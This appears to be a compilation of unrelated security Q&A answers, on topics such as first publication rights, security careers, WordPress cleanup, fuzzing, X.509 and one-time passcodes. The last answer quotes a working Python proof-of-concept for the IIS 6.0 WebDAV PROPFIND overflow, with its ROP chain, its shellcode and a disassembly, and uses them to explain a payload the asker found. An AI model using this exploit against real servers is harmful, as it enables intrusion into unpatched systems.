There are several risks here, in particular:

An authorized user may reproduce your post elsewhere.
The forum software may be flawed or misconfigured and allow anyone to log in.
The forum software may later be reconfigured to be public.

You can't do anything about someone reposting your content, but fortunately that doesn't matter for your purpose. If someone publishes something in violation of your copyright, that won't affect your first rights.

As long as the publisher considers posting on a private forum to not count as prior publication, it doesn't matter if the post turns out to be publicly accessible in some way that bypasses the intended security. That would be no different from someone sneaking into your home and stealing your manuscript. It would be an illegal act on the part of the person who bypassed the intended security, and therefore it wouldn't could in any legal argument.

The case of a forum whose configuration changes after you've posted is more problematic, because it doesn't involve anybody doing anything illegal, and yet it causes your post to become public. To figure out such a case, you would need to know the precise circumstances (did you have a contract of some kind with the forum host? Were you informed that the forum might later become public?) as well as the publisher's precise rules for first rights (if he has rules set in stone or at least on paper). This gets into the realm of lawyers.

It wouldn't hurt to accompany your post with a disclaimer like “This post is only for review amongst members of the Springfield writing circle. Public distribution is prohibited.”. You would need to ensure that the place where you're posting it is indeed intended to be private to that writing circle, but the additional language might tip the balance in the specific case of a changed configuration.

Do note that this is not legal advice, it's some stranger on the Internet providing an unsourced opinion, which is worth exactly the paper it's printed on.


Get in touch with some companies that do what you want to do and see about graduate careers. They will be able to tell you what they are looking for.

Certs are great, but experience will count for more. Start doing your own research, participate in bug bounty programs and build up a 'portfolio' you can use at interview. Being on the wall of fame for $company definitely wont hurt your chances.

Go to conferences and get involved with the community. You may well find a job via people you meet at cons. In the UK, you usually find some of the bigger companies mentioning they are recruiting. Talk to the guys in the stands. The last con I went to, companies where actively looking for graduates.


Why submit a website to plaintext offenders?

To quote their FAQ:

  Aren’t you worried hackers will use your site to find targets?

  Yes, but less worried than having this information remain secret and relying on Security Through Obscurity.

To be more verbose: There are two possible outcomes from submitting a site there:

They fix it - This is more likely to happen when they get publicly shamed. The attack probability increases, too.

Also, hiding security problems away (leaving it secure only as long as it is kept secret) rather than fixing them is generally considered a security antipattern, as the NIST "Guide to General Server Security" states:

  "System security should not depend on the secrecy of the implementation or its components."

They do not fix it - Then it is at least documented publicly and externally.

To be more specific, thanks to Chris Cirefice who pointed out it the comments more explicitly what I had in mind:

  "documented publicly and externally" - with timestamps. So if a student loan company is hacked and the students' bank details are released due to lack of compliance with (U.S.) government policies, e.g. the Gramm-Leach-Bliley Act 1 2, the students could sue the company, and the timestamps of public release of failure to comply would be great evidence in court for recompense.


Client vs Server security for business critical application (crossplatform)

In a fight between a polar bear and a white shark, who will win ? Guess what, if this is a pool fight, the shark will munch through the bear in less than two minutes (this site makes unsubstantiated claims to the contrary, but there are strong clues that a shark eating a polar bear really happened). Now put them both on a land, and I will put my money on the bear (here is a video with a huge walrus in the same position, and it is not pretty).

This little analogy is meant to express that it depends on the situation.

If you develop your software in Java with Java code running in the client (as an applet or with Java WebStart), then most of the computing will be done on the client, which is great to make responsive interfaces and lighten the CPU burden on your servers, but also tends to require that the client is somehow trusted. This is the same issue as multi-player games: the more you delegate to the client machines, the more you give them the ability to cheat. Also, Java on the client system requires Java support to be installed, which is not hard but not a given either.

You can also make a Web site where everything happens on the server. You can do that with various languages and frameworks, including Java (that's where Tomcat becomes relevant) and PHP. That the server uses Java does not imply that the client must have Java installed (if you think otherwise then think again). It then becomes a question of "what programming language is better ?" and we know that such questions cannot be really answered. The only generic assertion that can be made is that the most secure language is that which the developer masters most. Writing a secure application requires that the developer knows all the small details of the tools he is using, because security comes from thinking about what happens in unusual conditions. Security, like maintainability and also speed, really depends on what your developers know.


DDoS Attack After Switching Hosts and Updating WordPress

I suspect your site was already hacked due to outdated plugins/themes/WordPress core, etc. The hacker may already had access. Now someone is trying to find the login details of your WordPress admin. Cloudflare does fantastic job to prevent such kind of attacks. Since the attack is coming from different IPs, blocking them is impossible. What I would like to suggest is check all the files once again, even the legit files. Check if there are any cronjobs running, check if there is any temp suspicious files, check if any python or perl script running.
Further, I would also suggest you to change the admin url to something else and rename xmlrpc.php or entirely disable it.
If this does not help, then remove everything, fresh install the WordPress, copy your theme, download all the plugins from the known source, copy uploads folder and check if there are any suspicious PHP files or any other files than images, pdfs, etc. Install malware scanner plugin and scan your theme and uploads folder.
Hope that helps.


Prior to any social engineering engagement make sure your contract is air tight. Also, when impersonating a police officer make sure you are allowed to do so and that it is not forbidden by law.  Even when having a free out of jail card it could still be that it is illegal. The law still supersedes whatever you put in a contract. I'd suggest contacting your local police office first through your lawyer and have consent in writing from the police responsible.

If you haven't contacted your lawyer yet, please do so, while we can share experiences every country and region has it's own local laws which can differ significantly. The only way to ensure the safety of your testers is to go through a lawyer.


How do I protect security camera footage from an adversary?

Are you sure physical access to the camera is your biggest concern here? I mean, if a thief breaks into your car, are you more worried he will see the security camera (and breaks it) or that your complete car will be gone? Besides using RF technologies (cellular networks being the most easy, common, and cheap) there is no way of securing the camera footage externally.

I would go for a more common GPS tracker, which activated by movement (geofencing), and reports back its coordinates through SMS. You can buy these for just 30 or so dollars, and can be easily installed in such a way no one would notice (especially not by a regular thief who's in a hurry to move a stolen car).


If you are asking how to fuzz-test a web application, many black-box automated web pentesting tools will already perform this.  Rather than sending in randomly generated inputs, they usually send in inputs that have been carefully crafted to be likely to expose certain kinds of vulnerabilities.

If you are doing fuzzing of a web application by hand, see also fuzzdb, a database of sample inputs that have been chosen to try to expose certain common vulnerabilities.

If you are looking for a tutorial on how to do pen-testing of a web application, you should probably ask that question separately.  There are many, many books on the subject, and some material on this site.  See, e.g., Books about Penetration Testing, Where can I find a solid BURP tutorial?, etc.

If you are looking for a tutorial on fuzzing of standalone applications, let us know.  There are many tools, tutorials, and books available.


Does a X.509 Certificate contain an ID of the Private Key?

The certificate contains the public key matching the private key. This public key is actually the most important part of the certificate, the rest are just meta data which describe what this public key is for (i.e. owner), if it is valid, who signed it and for what purposes it can be used. The public key is thus always there, i.e. a certificate without key would not make sense.
The public key is all what is needed to find the matching private key when you have multiple private keys to choose from.


Am I making my One-Time Passcode less secure?

First, if you take a hash of data containing in part random values, you would be better served by using directly random data, with the random_bytes function.

For the usage of uniqid, you should first read its documentation. You are not using the "prefix" argument as it is meant to be used.

To directly answer your question, you should avoid using uniqid because it is not meant to be used to authenticate users. You could instead use a 16 bytes string returned by random_bytes, encoded in hexadecimal or base64.


Necromancer is using DHCP, which means that it gets an IP address from your local DHCP server.

Assuming you have the VM connected to your local home network, the
DHCP server is most likely running on your home router. In this
case, you can check which IPs are registered there and should be
able to identify the right systems based on their lease time or
their MAC address (which you can find in the network settings in
VMWare).
If you have configured your VMWare environment to play DHCP, the
VM will get its IP from VMWare directly. In this case you can
simply restrict the DHCP range in VMWare to a single IP and
thereby know, which IP the VM will get.


I found this document here.

#------------Our payload set up a ROP chain by using the overflow 3 times. It will launch a calc.exe which shows the bug is really dangerous.
#written by Zhiniang Peng and Chen Wu. Information Security Lab & School of Computer Science & Engineering, South China University of Technology Guangzhou, China
#-----------Email: edwardz@foxmail.com
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('127.0.0.1',80))
pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n'
pay+='If: <http://localhost/aaaaaaa'
pay+='\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac'
pay+='>'
pay+=' (Not <locktoken:write1>) <http://localhost/bbbbbbb'
pay+='\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81'
shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LMX1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XKQ3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJZ2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3ULY7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA'
pay+=shellcode
pay+='>\r\n\r\n'
print pay
sock.send(pay)
data = sock.recv(80960)
print data
sock.close

It matches with the start of your payload which is:

http://localhost/aaaaaaa潨硣...

Chinese text to hex:

e6 bd a8 e7 a1 a3

I suppose they used this to launch calc.exe.

Maybe you can start from here.

EDIT:

Although I don't have a definitive answer for you, perhaps I can be a bit more helpful.

Your shell code seems to be:

VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBKLIX1yYpYpipS0ayhe01IBc4dKNrlptKoblL2k1BZtBk3BkxzoFWPJNFLqyomaI0FLml0acLLBLlMPgQHOZmIqWWHbZPObr7dKqBjpdK12MlM1Z0bkOPT8Qu5p0tnj9qz0pPRkNhmHRkOhKpKQVsHcmlMyDKnTRkM1Z601ioMaepvLva8OlMzaY7nXYP1eYdkSSMXxMksMKtT5ZBR8Rkr8Ktyq9Cc64KzlpKTK28mLiqJ3rkM42km1hP3Yq4ldO4QK1KPab9qJr1ioIPNxqOaJRkLRxkTFQMS8RNC5qdm0c81gpiPnPisYK6OdphPLbWlfzgKOj5P1IoaG0Wb7R7PVrHLzNvt9FGYoz5zK30okp1WYPQNqBJYs0QOaQZNpb3NpbHaGSYEOevKOwehkpOb9P1Z21BrH9pP2c0BdNrnraBoaNrb0BHxkr5nNmk9oZ53YwVpjJpQKqX3Pp39pIpBiWp0jJdb02JMO1FOxsENfeNavYoweLqYonwB7aGNwqFQXNMkVMHQkiovuauI045kvpKjoe4Rcm0m0ipJKvqiYETkPipKPk84lyoKOIoLoPibMOqs7C53CnO31qR1SLo14pLnNRP1Xppm0ZKPkNQWPoopPqZyrpjIrb0QZm22Jm227Ox8ZyfWj0Oyovu4S01gPqVh8Jdm3o9gTr44MpLKtlHp1Y0fTM3r0B1b638zrF6dIzBIoGequY0D4nMaHReepD4kf1ZipPT20dMq4LdjlpPb3QXNM1GtnokYofu2cZLlDxkhNOcphVfbvcWQBYoZ5ozYpR72HP1dK2ORgyoj5PjIps8hp85DbaFIo6uJHrp9oIokONcoJNONOr2rERCPyos2L35qbLoloPsT6s3382Opsptlns5qhPeypyXibKNIoYoMa01LqLnOBOCp0lnmbLrp9lnP2nRlvKPAA

This translates to this in hex:

{ 0x56, 0x56, 0x59, 0x41, 0x34, 0x34, 0x34, 0x34, 0x34, 0x34, 0x34, 0x34, 0x34, 0x34, 0x51, 0x41, 0x54, 0x41, 0x58, 0x41, 0x5A, 0x41, 0x50, 0x41, 0x33, 0x51, 0x41, 0x44, 0x41, 0x5A, 0x41, 0x42, 0x41, 0x52, 0x41, 0x4C, 0x41, 0x59, 0x41, 0x49, 0x41, 0x51, 0x41, 0x49, 0x41, 0x51, 0x41, 0x50, 0x41, 0x35, 0x41, 0x41, 0x41, 0x50, 0x41, 0x5A, 0x31, 0x41, 0x49, 0x31, 0x41, 0x49, 0x41, 0x49, 0x41, 0x4A, 0x31, 0x31, 0x41, 0x49, 0x41, 0x49, 0x41, 0x58, 0x41, 0x35, 0x38, 0x41, 0x41, 0x50, 0x41, 0x5A, 0x41, 0x42, 0x41, 0x42, 0x51, 0x49, 0x31, 0x41, 0x49, 0x51, 0x49, 0x41, 0x49, 0x51, 0x49, 0x31, 0x31, 0x31, 0x31, 0x41, 0x49, 0x41, 0x4A, 0x51, 0x49, 0x31, 0x41, 0x59, 0x41, 0x5A, 0x42, 0x41, 0x42, 0x41, 0x42, 0x41, 0x42, 0x41, 0x42, 0x33, 0x30, 0x41, 0x50, 0x42, 0x39, 0x34, 0x34, 0x4A, 0x42, 0x36, 0x58, 0x36, 0x57, 0x4D, 0x56, 0x37, 0x4F, 0x37, 0x5A, 0x38, 0x5A, 0x38, 0x59, 0x38, 0x59, 0x32, 0x54, 0x4D, 0x54, 0x4A, 0x54, 0x31, 0x4D, 0x30, 0x31, 0x37, 0x59, 0x36, 0x51, 0x30, 0x31, 0x30, 0x31, 0x30, 0x45, 0x4C, 0x53, 0x4B, 0x53, 0x30, 0x45, 0x4C, 0x53, 0x33, 0x53, 0x4A, 0x4D, 0x30, 0x4B, 0x37, 0x54, 0x30, 0x4A, 0x30, 0x36, 0x31, 0x4B, 0x34, 0x4B, 0x36, 0x55, 0x37, 0x57, 0x35, 0x4B, 0x4A, 0x4C, 0x4F, 0x4C, 0x4D, 0x52, 0x35, 0x5A, 0x4E, 0x4C, 0x30, 0x5A, 0x4D, 0x56, 0x35, 0x4C, 0x35, 0x4C, 0x4D, 0x58, 0x31, 0x5A, 0x4C, 0x50, 0x30, 0x56, 0x33, 0x4C, 0x35, 0x4F, 0x35, 0x53, 0x4C, 0x5A, 0x35, 0x59, 0x34, 0x50, 0x4B, 0x54, 0x34, 0x50, 0x34, 0x4F, 0x35, 0x4F, 0x34, 0x55, 0x33, 0x59, 0x4A, 0x4C, 0x37, 0x4E, 0x4C, 0x55, 0x38, 0x50, 0x4D, 0x50, 0x31, 0x51, 0x4D, 0x54, 0x4D, 0x4B, 0x30, 0x35, 0x31, 0x50, 0x31, 0x51, 0x30, 0x46, 0x36, 0x54, 0x30, 0x30, 0x4E, 0x5A, 0x4C, 0x4C, 0x32, 0x4B, 0x35, 0x55, 0x30, 0x4F, 0x30, 0x58, 0x36, 0x50, 0x30, 0x4E, 0x4B, 0x53, 0x30, 0x4C, 0x36, 0x50, 0x36, 0x53, 0x38, 0x53, 0x32, 0x4F, 0x34, 0x51, 0x31, 0x55, 0x31, 0x58, 0x30, 0x36, 0x30, 0x31, 0x33, 0x57, 0x37, 0x4D, 0x30, 0x42, 0x32, 0x58, 0x35, 0x4F, 0x35, 0x52, 0x32, 0x4F, 0x30, 0x32, 0x4C, 0x54, 0x4C, 0x50, 0x4D, 0x4B, 0x37, 0x55, 0x4B, 0x4C, 0x31, 0x59, 0x39, 0x54, 0x31, 0x5A, 0x37, 0x51, 0x30, 0x46, 0x4C, 0x57, 0x32, 0x52, 0x4B, 0x55, 0x31, 0x50, 0x37, 0x58, 0x4B, 0x51, 0x33, 0x4F, 0x34, 0x53, 0x32, 0x55, 0x4C, 0x52, 0x30, 0x44, 0x4A, 0x4E, 0x35, 0x51, 0x34, 0x57, 0x31, 0x4F, 0x30, 0x48, 0x4D, 0x51, 0x4C, 0x4F, 0x33, 0x54, 0x31, 0x59, 0x39, 0x56, 0x38, 0x56, 0x30, 0x4F, 0x31, 0x55, 0x30, 0x43, 0x35, 0x4C, 0x4B, 0x58, 0x31, 0x59, 0x30, 0x52, 0x32, 0x51, 0x4D, 0x53, 0x34, 0x55, 0x39, 0x4F, 0x32, 0x54, 0x39, 0x54, 0x4D, 0x4C, 0x35, 0x4B, 0x30, 0x52, 0x4D, 0x50, 0x30, 0x45, 0x33, 0x4F, 0x4A, 0x5A, 0x32, 0x51, 0x4D, 0x53, 0x4E, 0x4E, 0x4B, 0x53, 0x31, 0x51, 0x34, 0x4C, 0x34, 0x4F, 0x35, 0x51, 0x39, 0x59, 0x4D, 0x50, 0x39, 0x4B, 0x39, 0x4B, 0x36, 0x53, 0x4E, 0x4E, 0x4C, 0x5A, 0x31, 0x59, 0x38, 0x4E, 0x4D, 0x4C, 0x4D, 0x4C, 0x32, 0x51, 0x38, 0x51, 0x30, 0x30, 0x32, 0x55, 0x31, 0x30, 0x30, 0x5A, 0x39, 0x4F, 0x4B, 0x52, 0x31, 0x4D, 0x33, 0x59, 0x35, 0x54, 0x4A, 0x4D, 0x37, 0x4F, 0x4C, 0x58, 0x38, 0x50, 0x33, 0x55, 0x4C, 0x59, 0x37, 0x59, 0x30, 0x59, 0x37, 0x58, 0x34, 0x59, 0x4D, 0x57, 0x35, 0x4D, 0x4A, 0x55, 0x4C, 0x59, 0x37, 0x52, 0x31, 0x4D, 0x4B, 0x52, 0x4B, 0x51, 0x35, 0x57, 0x30, 0x58, 0x30, 0x4E, 0x33, 0x55, 0x31, 0x4B, 0x4C, 0x50, 0x39, 0x4F, 0x31, 0x50, 0x31, 0x4C, 0x33, 0x57, 0x39, 0x50, 0x35, 0x50, 0x4F, 0x4F, 0x30, 0x46, 0x32, 0x53, 0x4D, 0x58, 0x4A, 0x4E, 0x4A, 0x4D, 0x4A, 0x53, 0x38, 0x4B, 0x4A, 0x4E, 0x4B, 0x50, 0x41 }

If you disassemble using ndisasm using -b 32 flag, you'll get:

00000000  0560560590        add eax,0x90055660
00000005  41                inc ecx
00000006  034034            add eax,[eax+0x34]
00000009  034034            add eax,[eax+0x34]
0000000C  034034            add eax,[eax+0x34]
0000000F  034034            add eax,[eax+0x34]
00000012  034034            add eax,[eax+0x34]
00000015  0510410540        add eax,0x40054110
0000001A  41                inc ecx
0000001B  05804105A0        add eax,0xa0054180
00000020  41                inc ecx
00000021  0500410330        add eax,0x30034100
00000026  51                push ecx
00000027  0410              add al,0x10
00000029  44                inc esp
0000002A  0410              add al,0x10
0000002C  5A                pop edx
0000002D  0410              add al,0x10
0000002F  42                inc edx
00000030  0410              add al,0x10
00000032  52                push edx
00000033  0410              add al,0x10
00000035  4C                dec esp
00000036  0410              add al,0x10
00000038  59                pop ecx
00000039  0410              add al,0x10
0000003B  49                dec ecx
0000003C  0410              add al,0x10
0000003E  51                push ecx
0000003F  0410              add al,0x10
00000041  49                dec ecx
00000042  0410              add al,0x10
00000044  51                push ecx
00000045  0410              add al,0x10
00000047  50                push eax
00000048  0410              add al,0x10
0000004A  3504104104        xor eax,0x4411004
0000004F  105004            adc [eax+0x4],dl
00000052  105A03            adc [edx+0x3],bl
00000055  104104            adc [ecx+0x4],al
00000058  90                nop
00000059  310410            xor [eax+edx],eax
0000005C  49                dec ecx
0000005D  0410              add al,0x10
0000005F  49                dec ecx
00000060  0410              add al,0x10
00000062  4A                dec edx
00000063  0310              add edx,[eax]
00000065  310410            xor [eax+edx],eax
00000068  49                dec ecx
00000069  0410              add al,0x10
0000006B  49                dec ecx
0000006C  0410              add al,0x10
0000006E  58                pop eax
0000006F  0410              add al,0x10
00000071  3503804104        xor eax,0x4418003
00000076  105004            adc [eax+0x4],dl
00000079  105A04            adc [edx+0x4],bl
0000007C  104204            adc [edx+0x4],al
0000007F  104205            adc [edx+0x5],al
00000082  104903            adc [ecx+0x3],cl
00000085  104104            adc [ecx+0x4],al
00000088  90                nop
00000089  51                push ecx
0000008A  0490              add al,0x90
0000008C  41                inc ecx
0000008D  0490              add al,0x90
0000008F  51                push ecx
00000090  0490              add al,0x90
00000092  3103              xor [ebx],eax
00000094  1031              adc [ecx],dh
00000096  0310              add edx,[eax]
00000098  41                inc ecx
00000099  0490              add al,0x90
0000009B  41                inc ecx
0000009C  04A0              add al,0xa0
0000009E  51                push ecx
0000009F  0490              add al,0x90
000000A1  310410            xor [eax+edx],eax
000000A4  59                pop ecx
000000A5  0410              add al,0x10
000000A7  5A                pop edx
000000A8  0420              add al,0x20
000000AA  41                inc ecx
000000AB  0420              add al,0x20
000000AD  41                inc ecx
000000AE  0420              add al,0x20
000000B0  41                inc ecx
000000B1  0420              add al,0x20
000000B3  41                inc ecx
000000B4  0420              add al,0x20
000000B6  3303              xor eax,[ebx]
000000B8  004105            add [ecx+0x5],al
000000BB  004203            add [edx+0x3],al
000000BE  90                nop
000000BF  3403              xor al,0x3
000000C1  40                inc eax
000000C2  4A                dec edx
000000C3  0420              add al,0x20
000000C5  360580360570      ss add eax,0x70053680
000000CB  4D                dec ebp
000000CC  05603704F0        add eax,0xf0043760
000000D1  37                aaa
000000D2  05A03805A0        add eax,0xa00538a0
000000D7  380590380590      cmp [dword 0x90053890],al
000000DD  3205404D0540      xor al,[dword 0x40054d40]
000000E3  4A                dec edx
000000E4  05403104D0        add eax,0xd0043140
000000E9  3003              xor [ebx],al
000000EB  1037              adc [edi],dh
000000ED  0590360510        add eax,0x10053690
000000F2  3003              xor [ebx],al
000000F4  1030              adc [eax],dh
000000F6  0310              add edx,[eax]
000000F8  300450            xor [eax+edx*2],al
000000FB  4C                dec esp
000000FC  05304B0530        add eax,0x30054b30
00000101  300450            xor [eax+edx*2],al
00000104  4C                dec esp
00000105  0530330530        add eax,0x30053330
0000010A  4A                dec edx
0000010B  04D0              add al,0xd0
0000010D  3004B0            xor [eax+esi*4],al
00000110  37                aaa
00000111  05403004A0        add eax,0xa0043040
00000116  3003              xor [ebx],al
00000118  60                pusha
00000119  3104B0            xor [eax+esi*4],eax
0000011C  3404              xor al,0x4
0000011E  B036              mov al,0x36
00000120  0550370570        add eax,0x70053750
00000125  3504B04A04        xor eax,0x44ab004
0000012A  C04F04C0          ror byte [edi+0x4],byte 0xc0
0000012E  4D                dec ebp
0000012F  05203505A0        add eax,0xa0053520
00000134  4E                dec esi
00000135  04C0              add al,0xc0
00000137  3005A04D0560      xor [dword 0x60054da0],al
0000013D  3504C03504        xor eax,0x435c004
00000142  C04D0580          ror byte [ebp+0x5],byte 0x80
00000146  3105A04C0500      xor [dword 0x54ca0],eax
0000014C  3005603304C0      xor [dword 0xc0043360],al
00000152  3504F03505        xor eax,0x535f004
00000157  304C05A0          xor [ebp+eax-0x60],cl
0000015B  3505903405        xor eax,0x5349005
00000160  004B05            add [ebx+0x5],cl
00000163  40                inc eax
00000164  3405              xor al,0x5
00000166  003404            add [esp+eax],dh
00000169  F03504F03405      lock xor eax,0x534f004
0000016F  50                push eax
00000170  3305904A04C0      xor eax,[dword 0xc0044a90]
00000176  37                aaa
00000177  04E0              add al,0xe0
00000179  4C                dec esp
0000017A  0550380500        add eax,0x53850
0000017F  4D                dec ebp
00000180  0500310510        add eax,0x10053100
00000185  4D                dec ebp
00000186  05404D04B0        add eax,0xb0044d40
0000018B  3003              xor [ebx],al
0000018D  50                push eax
0000018E  310500310510      xor [dword 0x10053100],eax
00000194  300460            xor [eax],al
00000197  360540300300      ss add eax,0x33040
0000019D  4E                dec esi
0000019E  05A04C04C0        add eax,0xc0044ca0
000001A3  3204B0            xor al,[eax+esi*4]
000001A6  3505503004        xor eax,0x4305005
000001AB  F0300580360500    lock xor [dword 0x53680],al
000001B2  3004E0            xor [eax],al
000001B5  4B                dec ebx
000001B6  05303004C0        add eax,0xc0043030
000001BB  360500360530      ss add eax,0x30053600
